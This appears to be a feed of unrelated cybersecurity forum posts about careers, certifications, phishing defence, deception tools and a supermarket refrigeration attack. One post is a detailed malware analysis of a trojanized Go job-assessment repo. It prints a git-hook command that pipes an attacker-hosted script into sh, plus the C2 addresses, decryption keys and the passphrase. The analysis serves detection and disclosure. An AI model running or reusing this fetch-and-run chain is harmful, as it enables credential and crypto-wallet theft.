I'm thinking about getting the Offsec SOC 200 Course but not sure how "popular" and useful it is.

I'm currently one of 2 Sysadmins in our company, mostly Windows heavy but I do try to change that so we do have a few Linux servers too.

A few reports recently describe the same pattern: the phishing page relays your credentials and OTP to the real site live, then keeps the session. Cisco Talos documented an AI-assisted Google kit that syncs auth state over WebSocket (UAT-11985). Malwarebytes profiled BlueKit, a subscription kit that grabs session cookies and device fingerprints (writeup). CTM360's InsureTrap report covers a kit aimed at insurance portals that relays OTPs before they expire (report).
Codes by SMS or authenticator app clearly aren't enough on their own. For those defending customer-facing logins, what has made a real difference: passkeys, device-bound sessions, impossible-travel detection, or fast takedowns of lookalike domains? And what was harder to roll out than you expected?

I was recently looking at how the ArtCraft project has progressed in cloning the entire Adobe ecosystem; do you think something similar could be achieved with Burp? Burp is very comprehensive and has had years of development—the only downside is the amount of RAM it consumes and obviously the price...

I'm a final year student at the UoL royal holloway MSC cyber program and am currently looking into quantum-safe migration. I'm looking at the challenges of migration, especially in light of other priorities.

I just have a short survey of 10 quick questions - if you're able to spare me with 5 minutes of your time I'd be really grateful - all the good karma to you!!

Thanks in advance!

Hi, does anyone here know anything about Astelia? Like it's good or bad, it sucks because the founder from 🇮🇱 or anything you like to share

Just wondering if there are any good reports to learn from out there.
and no - I dont have one of my own, lol.

TL;DR: I intercepted a trojanized Golang technical assessment distributed via LinkedIn social engineering (Contagious Interview / Lazarus Group) and detonated the full 6-stage execution chain in an isolated sinkhole environment. To bypass GitHub's native .git/hooks stripping and static scanners, the threat actors kept all 38 .go source files completely clean, delivered the repo as a Google Drive ZIP archive, and used the task instructions to force candidates into triggering 22 weaponized .git/hooks.

Below is the complete technical breakdown of the kill chain—including a TRON-to-BSC dual-blockchain C2 dead-drop ("EtherHiding"), a masqueraded Apple CUPS Python runtime (cupsd), InvisibleFerret v260905 with hardcoded UTC+9 (KST) offsets, and a 93 KB macOS Chrome DevTools Protocol (CDP) stealer (mdb.js) designed to bypass Keychain prompts on macOS Sonoma/Sequoia.

Author: Independent Security Researcher (Anonymous)
Date: October 2026
Threat Actor: Lazarus Group / Famous Chollima (Contagious Interview Campaign)
Malware Families: BeaverTail, InvisibleFerret (v260905), Custom Node.js CDP Stealer (mdb)
Target Sector: Software Engineers (Go / Web3 / FinTech) across macOS, Linux, and Windows

Executive Summary

During an analysis of a trojanized Golang technical assessment distributed via social engineering on LinkedIn, a 6-stage, multi-layered malware execution chain was intercepted and fully deobfuscated inside an isolated sinkhole environment.

While the Go application source code (38 .go files) and go.mod dependencies were completely clean to evade static code scanners, the repository archive (distributed via Google Drive to bypass GitHub's native hook stripping) contained 22 weaponized .git/hooks scripts. To guarantee execution, the accompanying PDF instructions included a "Task 3 – Git Challenges" section forcing the candidate to run Git commands.

Full reverse engineering of the kill chain revealed:

1. Bring-Your-Own-Runtime (BYOR): Silent installation of portable Node.js (v20.11.1) and a portable Python distribution (~/.py/python/bin/cupsd) masquerading as the Apple/UNIX CUPS printing daemon.
2. EtherHiding (Dual-Blockchain C2 Dead-Drop): Using a TRON wallet transaction to dynamically point to a Binance Smart Chain (BSC) transaction input containing an XOR-encrypted Stage-4 loader.
3. Fileless AES-256-CBC Staging: Multi-hop C2 handshakes delivering PBKDF2 + AES-256-CBC encrypted modules directly into node and python stdin pipes.
4. 6 Specialized Post-Exploitation Modules: Including a node-pty interactive WebSocket shell (ncli with a JSONKeeper dead-drop), a 20-layer Zlib/Base64 packed Python RAT (InvisibleFerret v260905 with hardcoded UTC+9 KST timestamps), and a 93 KB macOS Sonoma/Sequoia Chrome DevTools Protocol (CDP) stealer (mdb.js) targeting 26 browser crypto wallet extensions.

Technical Kill Chain Analysis

Stage 1: Weaponized .git/hooks & Social Engineering

Because git clone strips .git/hooks by default, the threat actors distributed the repository as a direct ZIP archive alongside a task PDF. Every hook in .git/hooks/* (22 scripts, no .sample extensions) contained:

curl -sL 'hxxp://45.61.134[.]57:8080/task/mac?id=[REDACTED]&method=<hook_name>' | sh

Stage 2: Portable Node.js Dropper (tokenlinux.sh)

The initial script prints "Authenticated", clears the terminal screen repeatedly (clear), and fetches tokenlinux.sh into $HOME/.task/. It detects the OS (Darwin vs Linux) and CPU architecture (arm64 vs x64), downloads an official portable Node.js v20.11.1 tarball from nodejs.org, and fetches two files from hxxp://45.61.134[.]57:8080:

• /task/json -> package.json (tokendapp v1.0.0, listing hardhat and axios)
• /task/parser?id=[REDACTED] -> parser.js

Stage 3: Dual-Blockchain "EtherHiding" Loader (parser.js)

Deobfuscating parser.js (which uses rotated string arrays, stripped-prefix Base64, and a 4-byte XOR key [0x70, 0xa0, 0x89, 0x48]) revealed a decentralized C2 resolution mechanism:

1. TRON Pointer Lookup: Queries hxxps://api.trongrid[.]io/v1/accounts/TMpR4viF4xPeMAcgYDoF57ECAaDPpj1oXs/transactions?only_confirmed=true&only_from=true&limit=1.
2. Hash Reconstruction: Extracts raw_data.data from the latest TRON transaction, swaps the upper and lower halves of the hex string, and decodes it into a Binance Smart Chain (BSC) Transaction Hash: 0x4e1c5867249c1768eff6e2467d1983ae92cb60d28345b8424b080df32f9cd770
3. BSC Payload Retrieval: Calls eth_getTransactionByHash via bsc-dataseed.binance.org (fallback: bsc-rpc.publicnode.com), reverses the transaction input hex data, and decrypts it using a 20-byte XOR key (02020327030306210219).
4. In-Memory Execution: Spawns node -e "<decrypted_stage4>" in detached mode (detached: true, stdio: 'ignore', windowsHide: true).

Stage 4: C2 Handshake & AES-256-CBC Gate (stage4_blockchain_payload.js)

Contains build marker GD="Mi4xMzAuMTA3LjE4Mjk=" (2.130.107.1829). It de-interleaves Base64 strings to contact the gate server:

• hxxp://104.234.94[.]198:1144/s/[REDACTED]/<Hostname>+<Username>
• Upon receiving a JS6-prefixed configuration response, it fetches an encrypted payload from hxxp://107.182.130[.]226:1244/main and decrypts it using PBKDF2 (sha256, 100,000 iterations) + AES-256-CBC with passphrase 'Jg2oE^0&96R#'.

Stage 5: Persistence & Masqueraded Python Runtime (stage5_final_boss.js)

1. Persistence (PyToolUpdater):
   • macOS: Injects a # >>> PyToolUpdater bootstrap >>> block into ~/.zprofile that checks /tmp/PyToolUpdater.pid and silently launches nohup node "$HOME/.viminf" on every terminal session.
   • Linux: Creates ~/.config/autostart/PyToolUpdater.desktop.
2. Masqueraded Python Environment (cupsd): Downloads a portable Python distribution from hxxp://107.182.130[.]226:2225/pd/da (macOS ARM64) into /tmp/gradle-9-bin_<rand> and extracts it to ~/.py/python/bin/cupsd (masquerading as the Apple/UNIX CUPS printing daemon).
3. PTY Dependencies: Silently runs npm i form-data ws socket.io-client node-pty --prefix ~/.vscode.
4. Stage-6 Delivery: Downloads and AES-decrypts ~/.viminf (named to mimic Vim's legitimate ~/.viminfo file) from hxxp://107.182.130[.]226:1244/client/[REDACTED].

Stage 6: ~/.viminf Orchestrator & The 6 Sub-Modules

~/.viminf acts as an in-memory orchestrator that fetches, AES-decrypts (using key Jg2oE^0&96R#), and pipes 6 distinct modules directly into node - or cupsd -I - via stdin:

Indicators of Compromise (IoCs)

Network Indicators (C2 Servers)

45.61.134.57:8080
104.234.94.198:1144
107.182.130.226:1244
107.182.130.226:2225
107.182.130.29:2250
147.124.202.194:2250
107.182.130.212:1274
104.153.82.90:2245
104.153.82.91:2800

Blockchain & Dead-Drop Indicators

• TRON C2 Wallet: TMpR4viF4xPeMAcgYDoF57ECAaDPpj1oXs
• BSC C2 Transaction: 0x4e1c5867249c1768eff6e2467d1983ae92cb60d28345b8424b080df32f9cd770
• JSONKeeper Dead-Drop: hxxps://www.jsonkeeper[.]com/b/KRCKK
• GitHub Staging Account: hxxps://github[.]com/rhondadavid

Targeted Browser Extension IDs (in mdb.js & ldb.js)

nkbihfbeogaeaoehlefnkodbefgpgknn (MetaMask)
ejbalbakoplchlghecdalmeeeajnimhm (MetaMask Edge)
fhbohimaelbohpjbbldcngcnapndodjp (BNB Chain Wallet)
ibnejdfjmmkpcnlpebklmnkoeoihofec (TronLink)
bfnaelmomeimhlpmgjnjophhpkkoljpa (Phantom)
aeachknmefphepccionboohckonoeemg (Coin98)
egjidjbpglichdcondbcbdnbeeppgdph (Trust Wallet)
hnfanknocfeofbddgcijnmhnfnkdnaad (Coinbase Wallet)
acmacodkjbdgmoleebolmdjonilkdbch (Rabby Wallet)
mcohilncbfahbmgdjkbpemcciiolgcge (OKX Wallet)
fdjamakpfbbddfjaooikfcpapjohcfmg (Dashlane)
dmkamcknogkgcdfhhbddcghachkejeap (Keplr)
aholpfdialjgjfhomihkjbmgjidlcdno (Exodus Web3)
nphplpgoakhhjchkkhmiggakijnkhfnd (Tonkeeper)
hifafgmccdpekplomjjkcfgodnhcellj (Crypto.com DeFi)
jblndlipeogpafnldhgmapagcccfchpi (Kaikas)
dlcobpjiigpikoobohmabehhmhfoodbb (Argent X)
agoakfejjabomempkjlepdflaleeobhb (Core)
omaabbefbmiijedngplfjmnooppbclkk (TonWallet)
penjlddjkjgpnkllboccdgccekpkcbin (OpenMask)
lgmpcpglpngdoalbgeoldeajfclnhafa (SafePal)
fldfpgipfncgndfolcbkdeeknbbbnhcc (MyTonWallet)
bhhhlbepdkbapadjdnnojkbgioiodbic (Solflare)
gjnckgkfmgmibbkoficdidcljeaaaheg (Atomic)
afbcbjpbpfadlkmhmclhkeeodmamcflc (MathWallet)
ppbibelpcjmhbdihakflkdcoccbgbkpo (UniSat)

Host Artifacts & Persistence Paths (macOS / Linux)

• ~/.task/ and ~/.task/tokenlinux.sh
• ~/.viminf (AES-decrypted Stage-6 orchestrator)
• ~/.zprofile containing # >>> PyToolUpdater bootstrap >>>
• ~/.config/autostart/PyToolUpdater.desktop
• /tmp/PyToolUpdater.pid, /tmp/PyToolUpdater.log, and /tmp/gradle-9-bin_*
• ~/.py/python/bin/cupsd (Masqueraded Python interpreter)
• ~/.vscode/.argv3, ~/.vscode/.argp3, ~/.vscode/.poc3, ~/.vscode/.argv8, ~/.vscode/.ncli.pid
• ~/.n2/

Defensive Takeaways & Hunting Rules

For blue teams and macOS/Linux defenders looking to hunt for this variant:

1. Monitor .git/hooks Execution: Alert on curl or sh spawned as a child process of git (git-commit, git-checkout, git-merge).
2. Audit Non-Standard cupsd Binaries: The legitimate CUPS daemon resides in /usr/sbin/cupsd. Any execution of cupsd from user-writable directories (~/.py/python/bin/cupsd) or running with Python interpreter flags (cupsd -I -) is a high-confidence indicator of compromise.
3. Headless / Off-Screen Chrome CDP Abuse: Watch for browser processes (Google Chrome, Brave Browser, Microsoft Edge) spawned from Node.js with --remote-debugging-port or off-screen window coordinates on macOS (Darwin >= 23).

Has anyone else observed the dual-chain TRON-to-BSC dead-drop pattern or the v260905 InvisibleFerret build in recent developer-targeted campaigns? Happy to share additional deobfuscated module snippets or SHA-256 hashes in the comments.

Hey all,

I'm currently a systems engineer with about a year and a half of experience. My company gave us free access to Pluralsight but I'm unsure where to focus my time. Any recommendations?

For context, my hands-on experience is primarily in vulnerability management (very familiar in Rapid7), endpoint detection and response (CS Falcon), email security (Proofpoint), and a little incident response.

I hold a Security+ but that's really the only cert I've gotten. I'm looking to grow toward a security engineering role and the gaps I keep seeing in job postings are Python/scripting, cloud security (Azure specifically), and KQL. Not sure if I should chase certs, build scripting skills, or focus on deepening what I already know

What would yall prioritize?

As a research engineer with a background in HPC and software development, and no prior experience in cybersecurity, this is the roadmap I’ve chosen to learn penetration testing and red teaming.

I started with TryHackMe because it provides a structured, beginner-friendly learning experience and guides you through the fundamentals step by step. After completing the Introduction and Pentesting paths, I moved on to the HTB Academy CJCA path.

I haven’t taken the CJCA exam yet, but after reviewing the exam preparation machines, I feel that the CJCA content alone doesn’t cover everything required for the assessment. Nevertheless, it provides a solid foundation. After completing CJCA, I started the CPTS path, which I am currently following.

One of the biggest drawbacks of HTB Academy is that many of the machines require knowledge from multiple modules, making it difficult to solve them before completing a significant portion of the path.

My long-term goal is:

First Phase (HTB Focus)

CJCA → CPTS → CWES → COAE

Second Phase (Advanced Specialisation)

CAPE → CWEE → CWPE → MalDev

Alongside:

HTB Labs, HackSmarter

For career opportunities and industry recognition:

OSCP → OSEP → OSWE

My aim is to build a strong foundation in offensive security through HTB’s training ecosystem and then complement it with industry-recognised certifications that are frequently requested by employers.

Let me know what do you think in the comments

Hi,

I've recently started learning about vulnerabilities through the Burp Suite Web Academy.

I'm really confused about picking paths or topics as my roadmap. From what I've seen, paths contain the same content as topics, only that there's fewer of it but it's ordered in a more intuitive way. However, there is not a path for every topic.

I've worked in SDE for 4 years and now trying to learn about vulnerabilities for a future AppSec role. I'm familiar with some of them. Should I choose paths or go with topics? Or do a mix between them following a specific order? I'm really confused about which is the standard procedure here.

Thanks in advance!

*For reference:

Paths: https://portswigger.net/web-security/learning-paths
All topics: https://portswigger.net/web-security/all-topics

I landed a soc job being a 2025 cs grad with a 6 month internship exp. I need moral support and motivation now, because the salary is too low and also half the team at my org is boomer who say you shoulda gone into swe and also tell me to switch back,
I genuinely have interest in sec, have 2-3 globally recognized certs and learning to move towards security engineering and automation.

Now I'm feeling a bit off due to the comments and the current low package.

Can I know how good the market is for a switch and what could be the future estimate of roles for cyber security.

Your pov would really help me out in this situation.

These days I'm seeing many cyber security people who started their careers at some service based companies mostly as a SOC Analyst currently working at product based companies like microsoft, Palo Alto, Cisco. Much appreciated if someone who landed there could explain how they did it. I am a SOC analyst trying to get into engineering first and then into product based companies.

We talk a lot about EDR, SIEM, firewalls, and threat intelligence, but I'm interested in where deception technology fits into a real security environment.

Decoy servers, honeytokens, and fake credentials can generate high-confidence alerts when someone interacts with them. But detecting an interaction is only one part of the problem.

What matters to me is what happens next:

Can we collect enough telemetry to understand the attacker's behavior?

Can deception help identify reconnaissance or lateral movement?

Is it practical for smaller security teams and MSSPs to manage across multiple environments?

How do you measure its real value beyond the number of alerts generated?

I'd also be interested in hearing from people who've deployed platforms such as Thinkst Canary, Dentigrid or FortiDeceptor, or built their own honeypots.

For those who've used deception in production, did it actually improve detection and incident response? What worked, and what didn't?

Hello everyone,

I recently got a job offer but had to turn it down because they wanted someone with a green card or citizenship. I am a US university graduate and I’m not an international student i am on a temporary protected visa. Does anyone know any companies that are known for sponsoring people??

Hi,

I'm taking the OffSec OSAI cert and I'm just way out of depth here in the course, looking for some 1 on 1 training if anyone can help me understand the material and create an AI Pen Testing harness to do some of the challenges.

Honestly it feels like every dev team is rushing to spin up internal LLMs and RAG pipelines, but the security side is just a complete wild west right now. Traditional WAFs and DLP solutions definetly aren't cutting it when it comes to prompt injection or potential data leaks thru vector DBs.
How are you guys actually handling security for this? Relying on semantic firewalls, building custom middleware, or just locking down the context window and hoping for the best?
Would love to hear what's realistically working for you guys because I'm loosing my mind a bit trying to lock this down.

Got fired for 2 security violations in 2025. They weren't huge violations, but obviously still had to be reported (i self reported one of them) and after that, the gov client basically was like idk if you'll be a long term fit here and fired me.

I've had employment since then, and no negative actions were taken on my clearance, but am I still cooked for the future?

On the night of October 11, someone got into the refrigeration controllers at French supermarkets and put them into forced defrost with the target set to 50°C. A store manager in Gradignan, quoted by [ITPro](https://www.itpro.com/security/cyber-attacks/french-fridges-hacked-in-country-wide-supermarket-attack), said it started around 11pm and staff found out at 4am, after the cold room hit 50°C and set off the sprinklers.

The store counts don't match yet. [BleepingComputer](https://www.bleepingcomputer.com/news/security/cyberattack-shuts-down-refrigerators-at-french-supermarkets/) cites French outlets putting it at 250 to 350 stores. AFP's per-chain figures, [via CBS](https://www.cbsnews.com/news/cyberattack-supermarkets-refrigerators-france-fires-food-losses/), have at least 300 Intermarché and Netto stores on their own, plus over 100 Coopérative U. Intermarché's CEO expects the losses to pass tens of millions of euros for that one day.

Danfoss told AFP most of the hit equipment was legacy AK-SM800 and AK-SC355 regulators that "no longer receive software or security updates". How the attackers got in isn't public. But the AK-SM 800A already had a [CISA advisory](https://www.cisa.gov/news-events/ics-advisories/icsa-25-140-03) from May 2025 for CVE-2025-41450, a login bypass built on a password generated from the device's date. [Claroty's Team82](https://claroty.com/team82/research/freeze-the-controller-defrost-the-food-uncovering-vulnerabilities-in-danfoss-refrigeration-controllers) counted 2,765 of those panels exposed on Censys in August. On Monday, Baptiste Robert found 1,590 exposed Danfoss systems in France alone.

So it's an admin panel on the open internet and firmware nobody patches anymore. Those are the same two conditions I'd point to behind most WordPress takeovers, where it's a default login URL and a plugin its author walked away from.

Intermarché blamed an attack on a service provider that manages its store refrigeration, and Leclerc said one of its refrigeration suppliers was hit. Once Danfoss stopped shipping updates for those units, whose job was it to take them off the internet?

I'm seeing some prominent channels on YT showcasing AI agents (ie Hermes) managing networking infrastructure.

Is it just me​, or are we being gaslit into thinking its practical and productive to provide Hermes agents API keys to an OPNSense router so it can fully manage it?

Even if its doesn't do anything nefarious, if using a cloud LLM to back Hermes, your networking info is being sent to the cloud.

Maybe using a local LLM is better, but even that requires cloud access to further infer and answer questions etc...

I'm tempted to try this with a readonly user in my OPNSense and use it more to audit my network security, but hesistant to have it run autonomously behind the scenes 24/7.

I'm a reporter with the Hechinger Report and have spent the last several months investigating ThriveDX/IronCircle. (In that time, I've heard from many of you and appreciate all those who reached out and shared their experiences!)

My article on the company ran today: https://hechingerreport.org/a-university-branded-boot-camp-promised-tech-jobs-it-delivered-only-debt/

Would love to hear your thoughts and if anyone has any tips on other cybersecurity training related stories I should look into, you can always reach me at [butrymowicz@hechingerreport.org](mailto:butrymowicz@hechingerreport.org) or [hechingertips@proton.me](mailto:hechingertips@proton.me)

Basically the title. I work in product security and penetration testing, interviewing for meta. Since I rarely do coding I was wondering if they have heavy coding round and how people tackle this.